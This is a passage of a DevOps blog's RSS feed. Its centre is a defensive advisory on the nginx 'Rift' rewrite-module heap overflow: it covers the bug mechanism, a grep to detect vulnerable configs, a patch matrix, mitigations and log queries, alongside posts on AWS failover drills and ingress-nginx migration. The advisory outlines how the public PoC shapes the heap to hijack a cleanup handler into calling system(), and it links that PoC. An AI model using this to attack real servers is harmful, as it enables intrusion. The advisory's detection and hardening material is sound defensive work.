<li><strong>Monitoring on the promotion path itself</strong>. The most common DR failure is &quot;we promoted, but the new primary&#39;s connection-pool size limit was 1000, and we have 5000 active clients trying to reconnect at once&quot;. Watch for it.</li>
<li><strong>An honest RTO number</strong>. Coinbase&#39;s outage was over five hours. Their RTO target before this incident is not public, but the only way &quot;more than 5 hours&quot; is the correct RTO for an exchange is if a regulator agreed to it in writing. For everyone else, the post-incident RTO target is the new floor.</li>
</ol>
<p>The Coinbase situation looks like the standby existed but had not been promoted under realistic conditions in some time. That is the single most common failure mode I have seen in production DR audits. The standby is real. It has just never been used in anger. The drill is what closes that gap.</p>
<h2 id="h2-what-to-do-this-week" class="group relative scroll-mt-24">
        <a href="#h2-what-to-do-this-week" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          What to do this week
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-what-to-do-this-week"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p>Five things, in order:</p>
<ol>
<li><strong>Run the inventory.</strong> <code>aws ec2 describe-instances --filters &quot;Name=availability-zone,Values=use1-az4&quot;</code> and equivalents for your critical regions. Anything in a single AZ that is in the customer-facing path needs a multi-AZ peer or a documented exception.</li>
<li><strong>Audit the dependency graph.</strong> The shared single-AZ resource is usually not in the obvious places (the database, the load balancer). It is in the homegrown bits (a service-discovery layer, a metric aggregator, an internal API gateway, a self-hosted Redis). Run the trace and flag every single-AZ node.</li>
<li><strong>Schedule the first FIS drill.</strong> Staging only, 30 minutes, working hours, on-call watching, stop-condition tied to a real alarm. Aim for next Tuesday.</li>
<li><strong>Write the promotion runbook.</strong> Numbered steps. Less than 20 commands. Idempotent. Reviewed by someone who was not on the team that wrote it.</li>
<li><strong>Set the cadence.</strong> Quarterly minimum. The drill that does not happen on a schedule is the drill that is not happening.</li>
</ol>
<p>The thermal event will repeat. AWS will have another one, in some other AZ, in some other quarter. So will GCP. So will Azure. The teams that recover in 30 minutes instead of 5 hours are not the teams with the better cloud architecture. They are the teams that have rehearsed.</p>
<h2 id="h2-sources" class="group relative scroll-mt-24">
        <a href="#h2-sources" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Sources
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-sources"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><ul>
<li>AWS service health page coverage of the May 7-8 incident: <a href="https://health.aws.amazon.com/">health.aws.amazon.com</a> and the AWS <a href="https://aws.amazon.com/premiumsupport/technology/pes/">Post-Event Summaries index</a></li>
<li>The Register coverage of the thermal event: <a href="https://www.theregister.com/off-prem/2026/05/08/aws-warns-of-ec2-impairment-as-power-loss-hits-notorious-us-east-1-region/5235509">theregister.com/off-prem/2026/05/08/aws-warns-of-ec2-impairment-as-power-loss-hits-notorious-us-east-1-region</a></li>
<li>Coinbase outage timeline and Rob Witoff statement: <a href="https://www.coindesk.com/business/2026/05/08/coinbase-disruption-tied-to-aws-outage-draws-criticism-amid-staff-layoffs-and-q1-losses">coindesk.com</a> and <a href="https://www.benzinga.com/crypto/26/05/52433912/coinbase-says-aws-cooling-failure-crashed-exchange-during-turbulent-week-ceo-brian-armstrong-calls-it-never-acceptable">benzinga.com</a></li>
<li>Service-impact roundup: <a href="https://statusgator.com/blog/may-7-2026-aws-outage-impact/">StatusGator</a></li>
<li>AWS FIS docs: <a href="https://aws.amazon.com/fis/">aws.amazon.com/fis</a></li>
<li>RDS Multi-AZ failover behaviour: <a href="https://docs.aws.amazon.com/AmazonRDS/latest/UserGuide/Concepts.MultiAZ.Failover.html">docs.aws.amazon.com/AmazonRDS/latest/UserGuide/Concepts.MultiAZ.Failover.html</a></li>
<li>Advanced Multi-AZ Resilience Patterns whitepaper: <a href="https://docs.aws.amazon.com/whitepapers/latest/advanced-multi-az-resilience-patterns/advanced-multi-az-resilience-patterns.html">docs.aws.amazon.com/whitepapers/latest/advanced-multi-az-resilience-patterns</a></li>
</ul>
<p>Drill the failover. The thermal event will return. The DR runbook that has never been used is not a runbook, it is a wish.</p>
]]></content:encoded>
    </item>
    <item>
      <title><![CDATA[NGINX Rift (CVE-2026-42945): The 18-Year-Old Rewrite Bug That Hands an Attacker Your Worker Process]]></title>
      <link>https://devops.anhp.site/posts/nginx-rift-cve-2026-42945-rewrite-rce</link>
      <description><![CDATA[An autonomous code-audit tool found an 18-year-old heap overflow in NGINX's rewrite module. Affects every release from 0.6.27 through 1.30.0, plus NGINX Plus and the entire F5 product line. Full RCE PoC is public. Here is the one-line config grep that tells you whether you are exposed, the patch matrix, and what to do about the long tail of products that bundle the vulnerable nginx without a vendor patch yet.]]></description>
      <pubDate>Thu, 14 May 2026 12:30:00 GMT</pubDate>
      <guid isPermaLink="true">https://devops.anhp.site/posts/nginx-rift-cve-2026-42945-rewrite-rce</guid>
      <category><![CDATA[Networking]]></category>
      
      <category><![CDATA[Networking]]></category><category><![CDATA[Security]]></category><category><![CDATA[NGINX]]></category><category><![CDATA[CVE]]></category><category><![CDATA[DevOps]]></category>
      <content:encoded><![CDATA[<p>On May 13, 2026, F5 published <a href="https://my.f5.com/manage/s/article/K000161019">K000161019</a> and the <a href="https://nginx.org/en/security_advisories.html">security advisories list</a> at nginx.org picked up a new entry. The bug, branded &quot;NGINX Rift&quot; by its discoverer and tracked as <a href="https://nvd.nist.gov/vuln/detail/CVE-2026-42945">CVE-2026-42945</a>, is a heap buffer overflow in the rewrite module that has been sitting in <code>ngx_http_script.c</code> since the 0.6.27 release in 2008. Every nginx release between then and 1.30.0 is vulnerable. So is NGINX Plus through R36. So is every F5 product that ships nginx internally, including their commercial Ingress Controller, App Protect WAF, and Instance Manager.</p>
<p>A working remote code execution PoC is public on GitHub. There is no in-the-wild exploitation reported as of this morning, but the <a href="https://github.com/depthfirstdisclosures/nginx-rift">PoC repository</a> is small enough to read in one sitting and the exploit primitive is deterministic. The clock is short.</p>
<p>This post covers what the bug actually is, the one-line grep that tells you whether your config is exploitable (because the F5 advisory&#39;s &quot;vulnerable&quot; framing is broader than your actual exposure), the patch matrix across distros, and the long tail of OpenResty, Kong, APISIX, and other downstream products that have no advisory yet but ship the same vulnerable code.</p>
<h2 id="h2-tldr" class="group relative scroll-mt-24">
        <a href="#h2-tldr" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          TL;DR
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-tldr"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><ul>
<li><strong>CVE-2026-42945</strong>, CVSS v4 9.2 / v3 8.1. Heap buffer overflow in <code>ngx_http_rewrite_module</code> reachable by an unauthenticated HTTP request against any nginx running a vulnerable rewrite pattern.</li>
<li><strong>Affected</strong>: NGINX Open Source 0.6.27 through 1.30.0; NGINX Plus R32 through R36; F5 NGINX Ingress Controller 3.5.0-5.4.1, NGINX App Protect WAF 4.x and 5.x, NGINX Gateway Fabric, NGINX Instance Manager. OpenResty, Tengine, Angie, FreeNGINX, Kong, APISIX and the Kubernetes <code>ingress-nginx</code> project all ship the same <code>ngx_http_script.c</code> and should be treated as vulnerable until their maintainers ship a patched release.</li>
<li><strong>Fixed in</strong>: nginx 1.31.0 (mainline) and 1.30.1 (stable). NGINX Plus R36 P4, R35 P2, R32 P6.</li>
<li><strong>The trigger</strong> is operator-written config, not attacker-controlled config. A <code>rewrite</code> directive whose replacement contains <code>?</code> and uses an unnamed capture (<code>$1</code>, <code>$2</code>, etc.) referenced again by <code>set</code>, <code>if</code>, or a subsequent <code>rewrite</code> is enough. The attacker just sends one HTTP request with the right URL.</li>
<li><strong>Successful exploitation</strong> lands code execution as the nginx worker user (often <code>www-data</code> or <code>nginx</code>). Workers hold the TLS private key in memory and serve responses, so even non-root worker access is a serious incident.</li>
<li><strong>Detection</strong>: there are no published WAF rules from Cloudflare, AWS, or OWASP CRS yet. Grep your own configs. The one-liner is below.</li>
</ul>
<h2 id="h2-prerequisites" class="group relative scroll-mt-24">
        <a href="#h2-prerequisites" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Prerequisites
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-prerequisites"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><ul>
<li>Shell access to any host that runs nginx, or to a Kubernetes cluster running an nginx-based ingress controller.</li>
<li>The nginx config tree (<code>/etc/nginx/</code>, or your container image&#39;s equivalent).</li>
<li>Patience for one round of <code>grep</code> followed by either a package upgrade or a config audit.</li>
</ul>
<h2 id="h2-what-the-bug-actually-is" class="group relative scroll-mt-24">
        <a href="#h2-what-the-bug-actually-is" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          What the bug actually is
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-what-the-bug-actually-is"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p>The rewrite module compiles every <code>rewrite</code>, <code>set</code>, <code>if</code>, and <code>return</code> directive into a small bytecode that runs once per request. The compiler produces two code arrays: a &quot;length&quot; array that calculates how many bytes the rewritten string will occupy, and a &quot;value&quot; array that actually writes those bytes.</p>
<p>Two state bits flow through this machine. One is <code>is_args</code>, which records whether the rewrite has crossed into the query-string portion of the URL. The other is the destination buffer pointer. The bug is that those two bits get out of sync when the rewrite uses an unnamed PCRE capture and the replacement contains <code>?</code>.</p>
<p>Concretely, after a <code>rewrite ^/api/(.+) /v2/$1?internal=1 break;</code> runs once, the engine permanently flips <code>is_args=1</code> on the main script engine. The length pass for the next <code>rewrite</code> (or <code>set</code>, or <code>if</code> referencing <code>$1</code>) runs through a zeroed sub-engine where <code>is_args=0</code>, so the capture-length code returns the raw byte count of <code>$1</code>. The copy pass sees <code>is_args=1</code> on the main engine and routes the same bytes through <code>ngx_escape_uri</code>, which expands characters like <code>+</code>, <code>%</code>, <code>&amp;</code>, and space into their percent-encoded forms. The destination buffer was sized for the raw count, so the expanded bytes write past the end of the allocation.</p>
<p>The corruption lands in the request pool. With cross-request heap shaping, the PoC walks the overflow into the <code>ngx_pool_cleanup_t</code> handler pointer and gets <code>system()</code> called with attacker-controlled arguments. Worker code execution follows. All the technical detail is in the <a href="https://depthfirst.com/research/nginx-rift-achieving-nginx-rce-via-an-18-year-old-vulnerability">depthfirst writeup</a> and the <a href="https://github.com/nginx/nginx/commit/2046b45aa0c6e712c216b9075886f3f26e9b4ca9">fix commit</a>.</p>
<p>Two important details for operators:</p>
<ol>
<li><strong>This is not a config-poisoning bug.</strong> Some vulnerability writeups make a bug sound less serious by noting it requires attacker-controlled nginx.conf. This one does not. Vulnerable configs are operator-written, common in API-gateway and reverse-proxy deployments, and the attacker only needs to send an HTTP request.</li>
<li><strong><code>nginx -t</code> does not flag the pattern.</strong> The vulnerable config is syntactically valid. There is no warning from the standard config check. You have to grep.</li>
</ol>
<h2 id="h2-find-vulnerable-configs-in-your-tree" class="group relative scroll-mt-24">
        <a href="#h2-find-vulnerable-configs-in-your-tree" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Find vulnerable configs in your tree
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-find-vulnerable-configs-in-your-tree"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p>The dangerous pattern needs three things together: a <code>rewrite</code> whose replacement contains <code>?</code>, the replacement contains an unnamed capture (<code>$1</code> through <code>$9</code>), and the same capture is read by a later <code>rewrite</code>, <code>set</code>, or <code>if</code> in the same <code>server</code> or <code>location</code> block.</p>
<p>The fast heuristic is a regex against your full config tree:</p>
<pre><code class="hljs language-bash"><span class="hljs-comment"># List rewrite directives whose replacement carries both &#x27;?&#x27; and a $N capture.</span>
grep -RHnE <span class="hljs-string">&#x27;rewrite[[:space:]]+[^;]+\$[1-9][^;]*\?|rewrite[[:space:]]+[^;]+\?[^;]*\$[1-9]&#x27;</span> /etc/nginx/ 2&gt;/dev/null
</code></pre><p>That gives you the candidate <code>rewrite</code> lines. From there, walk the <code>server</code> and <code>location</code> blocks each lives in and confirm whether any <code>set $foo $1</code>, <code>if ($1 = &quot;...&quot;)</code>, or a second <code>rewrite</code> references the same capture. Those are the exploitable combinations.</p>
<p>If you run nginx inside Kubernetes via <code>ingress-nginx</code>, the same grep against the generated config inside the controller pod is the answer:</p>
<pre><code class="hljs language-bash">kubectl -n ingress-nginx <span class="hljs-built_in">exec</span> -ti deploy/ingress-nginx-controller -- \
  sh -c <span class="hljs-string">&quot;cat /etc/nginx/nginx.conf | grep -nE &#x27;rewrite[[:space:]]+[^;]+\\\$[1-9][^;]*\\?&#x27;&quot;</span>
</code></pre><p>The generated config aggregates every Ingress&#39;s annotations into one file. Snippets, <code>rewrite-target</code>, and <code>configuration-snippet</code> are the common sources.</p>
<p>If the grep is empty across your entire fleet, you are not currently exploitable. Upgrade anyway, because the next config change a developer pushes may add a vulnerable pattern, and you would rather not be running a binary whose CVE you already shrugged off.</p>
<h2 id="h2-the-patch-matrix" class="group relative scroll-mt-24">
        <a href="#h2-the-patch-matrix" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          The patch matrix
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-the-patch-matrix"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><pre><code class="hljs language-text">+--------------------------------+-------------------------------------+
| Software                       | Patched version                     |
+--------------------------------+-------------------------------------+
| nginx (mainline)               | 1.31.0                              |
| nginx (stable)                 | 1.30.1                              |
| NGINX Plus R36                 | R36 P4                              |
| NGINX Plus R35                 | R35 P2                              |
| NGINX Plus R32                 | R32 P6                              |
| F5 NGINX Ingress Controller    | 5.4.2 (when released)               |
| F5 NGINX App Protect WAF       | 4.16.1 / 5.8.1 (when released)      |
| F5 NGINX Gateway Fabric        | 2.5.2 (when released)               |
| F5 NGINX Instance Manager      | 2.21.2 (when released)              |
| OpenResty                      | No advisory yet                     |
| Tengine, Angie, FreeNGINX      | No advisory yet                     |
| Kong, APISIX                   | No advisory yet                     |
| Kubernetes ingress-nginx       | Retired, no patch coming            |
+--------------------------------+-------------------------------------+
</code></pre><p>Distro status as of this morning (2026-05-14):</p>
<ul>
<li><strong>Debian</strong> (<a href="https://security-tracker.debian.org/tracker/CVE-2026-42945">tracker</a>): bullseye, bookworm, trixie, forky all show vulnerable. Only <code>sid</code> has the fixed <code>1.30.0-3</code> package landed.</li>
<li><strong>AlmaLinux</strong>: backport for 8, 9, and 10 <a href="https://almalinux.org/blog/2026-05-13-nginx-rift-cve-2026-42945/">published</a> in the <code>testing</code> repos using the upstream patch. Worth pulling if you cannot wait for RHEL.</li>
<li><strong>RHEL, Ubuntu, Alpine</strong>: no published advisories yet.</li>
</ul>
<p>The Kubernetes <code>ingress-nginx</code> line is the one to flag for your platform team. That project went EOL in <a href="https://kubernetes.io/blog/2025/11/11/ingress-nginx-retirement/">March 2026</a> and there is no maintainer left to ship a patched container image. If you are still on it, this is the second CVE in nine days where the answer is &quot;there is no patch coming, plan the Gateway API migration.&quot; We covered that migration <a href="/posts/ingress-nginx-eol-gateway-api-migration">in a separate post</a>.</p>
<h2 id="h2-if-you-cannot-patch-in-the-next-24-hours" class="group relative scroll-mt-24">
        <a href="#h2-if-you-cannot-patch-in-the-next-24-hours" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          If you cannot patch in the next 24 hours
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-if-you-cannot-patch-in-the-next-24-hours"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p>There is no published WAF rule from Cloudflare&#39;s managed set, AWS WAF managed rules, or the OWASP Core Rule Set as of this morning. A custom rule that drops URLs containing combinations of percent-encoded bytes and unencoded special characters can blunt the most obvious PoC, but the underlying primitive is broad and the attacker can vary their input shape considerably.</p>
<p>The realistic short-term mitigations:</p>
<ol>
<li><strong>Audit and edit the vulnerable rewrite blocks.</strong> If a <code>rewrite</code> line carries the dangerous pattern and you can rewrite it without the <code>?</code> or the unnamed capture, do that. Most API-gateway rewrites can move the query-string concatenation into a <code>set $args ...</code> statement instead of stuffing it into the <code>rewrite</code> replacement.</li>
<li><strong>Front nginx with a non-nginx proxy that can drop malformed paths.</strong> A separately-deployed Envoy or HAProxy in front of nginx does not magically rescue you, because both proxies forward the URL path unchanged by default. But you can add path-normalisation or path-length limits at the front proxy that make exploitation harder. This buys time, not safety.</li>
<li><strong>Run workers under a tightly scoped systemd unit.</strong> <code>NoNewPrivileges=yes</code>, <code>ProtectSystem=strict</code>, <code>ProtectHome=yes</code>, <code>PrivateTmp=yes</code>, <code>RestrictAddressFamilies=AF_UNIX AF_INET AF_INET6</code>, <code>SystemCallFilter=@system-service</code>, and especially <code>MemoryDenyWriteExecute=yes</code>. None of these stop the corruption, but <code>MemoryDenyWriteExecute=yes</code> plus the <code>RestrictAddressFamilies</code> line break the PoC&#39;s preferred follow-up of dropping a shell. You still want to upgrade.</li>
</ol>
<p>Removing the <code>rewrite</code> module entirely at build time is possible (<code>./configure --without-http_rewrite_module</code>) but breaks more than it fixes for most deployments.</p>
<h2 id="h2-what-to-watch-in-your-logs" class="group relative scroll-mt-24">
        <a href="#h2-what-to-watch-in-your-logs" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          What to watch in your logs
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-what-to-watch-in-your-logs"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p>There is no canonical detection signature yet. The PoC needs to send a stream of requests to shape the heap before the trigger request arrives, so a spike in same-prefix requests from one source to URLs that hit your rewrite blocks is the kind of pattern that should raise eyebrows. Two queries worth running over the last week&#39;s access logs:</p>
<pre><code class="hljs language-bash"><span class="hljs-comment"># Many requests to the same URL prefix from the same source in a short window</span>
awk <span class="hljs-string">&#x27;{print $1, $7}&#x27;</span> /var/log/nginx/access.log \
  | <span class="hljs-built_in">sort</span> | <span class="hljs-built_in">uniq</span> -c | <span class="hljs-built_in">sort</span> -rn | <span class="hljs-built_in">head</span> -50
</code></pre><pre><code class="hljs language-bash"><span class="hljs-comment"># Requests where the path contains long sequences of percent-encoded bytes</span>
grep -E <span class="hljs-string">&#x27;%[0-9A-Fa-f]{2}.*%[0-9A-Fa-f]{2}.*%[0-9A-Fa-f]{2}.*%[0-9A-Fa-f]{2}&#x27;</span> \
  /var/log/nginx/access.log | <span class="hljs-built_in">head</span> -50
</code></pre><p>Neither is specific enough to alert on, but both are good enough for retrospective investigation if you suspect compromise. Combine with worker process crash reports in your system journal (<code>journalctl -u nginx</code>).</p>
<h2 id="h2-the-ai-found-angle" class="group relative scroll-mt-24">
        <a href="#h2-the-ai-found-angle" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          The AI-found angle
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-the-ai-found-angle"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p>The bug was found by an autonomous code-audit system run by <a href="https://depthfirst.com">depthfirst</a>, in a six-hour run on the nginx codebase in April 2026. The same run surfaced four other memory-corruption issues, all of which F5 confirmed. The disclosure timeline was tight (April 18 found, April 21 reported, April 28 working RCE PoC, May 13 advisory), which is roughly the speed an AI-assisted research workflow lets a small team operate at.</p>
<p>The framing matters less than the implication. The codebase that nobody has shipped a critical RCE against in 18 years now has one shipped against it inside a single afternoon of automated review. The cadence of these &quot;old codebase, new CVE&quot; disclosures is going to keep getting faster, and the operational discipline that lets you patch in 24 hours instead of three weeks is going to keep getting more valuable.</p>
<h2 id="h2-sources" class="group relative scroll-mt-24">
        <a href="#h2-sources" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Sources
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-sources"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><ul>
<li>F5 advisory K000161019: <a href="https://my.f5.com/manage/s/article/K000161019">my.f5.com/manage/s/article/K000161019</a></li>
<li>nginx security advisories index: <a href="https://nginx.org/en/security_advisories.html">nginx.org/en/security_advisories.html</a></li>
<li>Fix commit: <a href="https://github.com/nginx/nginx/commit/2046b45aa0c6e712c216b9075886f3f26e9b4ca9">github.com/nginx/nginx/commit/2046b45aa0c6e712c216b9075886f3f26e9b4ca9</a></li>
<li>depthfirst writeup: <a href="https://depthfirst.com/research/nginx-rift-achieving-nginx-rce-via-an-18-year-old-vulnerability">depthfirst.com/research/nginx-rift</a></li>
<li>PoC repository: <a href="https://github.com/depthfirstdisclosures/nginx-rift">github.com/depthfirstdisclosures/nginx-rift</a></li>
<li>NVD entry: <a href="https://nvd.nist.gov/vuln/detail/CVE-2026-42945">nvd.nist.gov/vuln/detail/CVE-2026-42945</a></li>
<li>Debian tracker: <a href="https://security-tracker.debian.org/tracker/CVE-2026-42945">security-tracker.debian.org/tracker/CVE-2026-42945</a></li>
<li>AlmaLinux backport: <a href="https://almalinux.org/blog/2026-05-13-nginx-rift-cve-2026-42945/">almalinux.org/blog/2026-05-13-nginx-rift-cve-2026-42945</a></li>
<li>Original disclosure tweet: <a href="https://x.com/IntCyberDigest/status/2054844733571092943">@IntCyberDigest on X</a></li>
</ul>
<p>Grep first. Patch second. Plan the ingress-nginx migration if you have not already.</p>
]]></content:encoded>
    </item>
    <item>
      <title><![CDATA[Ingress-NGINX Is Retired: A Real Migration to Gateway API With ingress2gateway 1.0]]></title>
      <link>https://devops.anhp.site/posts/ingress-nginx-eol-gateway-api-migration</link>
      <description><![CDATA[In March 2026 the Kubernetes project retired ingress-nginx with no replacement waiting in the wings. Roughly half of all clusters still run it. This post is the migration that does not involve a flag day: how to inventory your annotations, what ingress2gateway 1.0 translates and what it silently drops, the side-by-side cutover pattern with the actual PromQL, and how to pick between Envoy Gateway, kgateway, Cilium Gateway, and Istio.]]></description>
      <pubDate>Thu, 14 May 2026 10:00:00 GMT</pubDate>
      <guid isPermaLink="true">https://devops.anhp.site/posts/ingress-nginx-eol-gateway-api-migration</guid>
      <category><![CDATA[Kubernetes]]></category>
      
      <category><![CDATA[Kubernetes]]></category><category><![CDATA[Networking]]></category><category><![CDATA[Gateway API]]></category><category><![CDATA[Migration]]></category><category><![CDATA[Ingress]]></category>
      <content:encoded><![CDATA[<p>In November 2025 the Kubernetes project <a href="https://kubernetes.io/blog/2025/11/11/ingress-nginx-retirement/">announced</a> that ingress-nginx would retire in March 2026. In January 2026 SIG Network and the Steering Committee <a href="https://kubernetes.io/blog/2026/01/29/ingress-nginx-statement/">confirmed</a> the date and the rationale: only one or two unpaid contributors were left, the <code>snippets</code> annotations were an unmaintainable security surface, and the planned successor project (InGate) had not progressed far enough to be a credible replacement. The same statement cited Datadog telemetry showing that ingress-nginx still ran in roughly 50% of cloud-native clusters.</p>
<p>So you are one of those clusters. The repository is read-only. The container image still pulls, but the next CVE will not get a patch. You need a plan.</p>
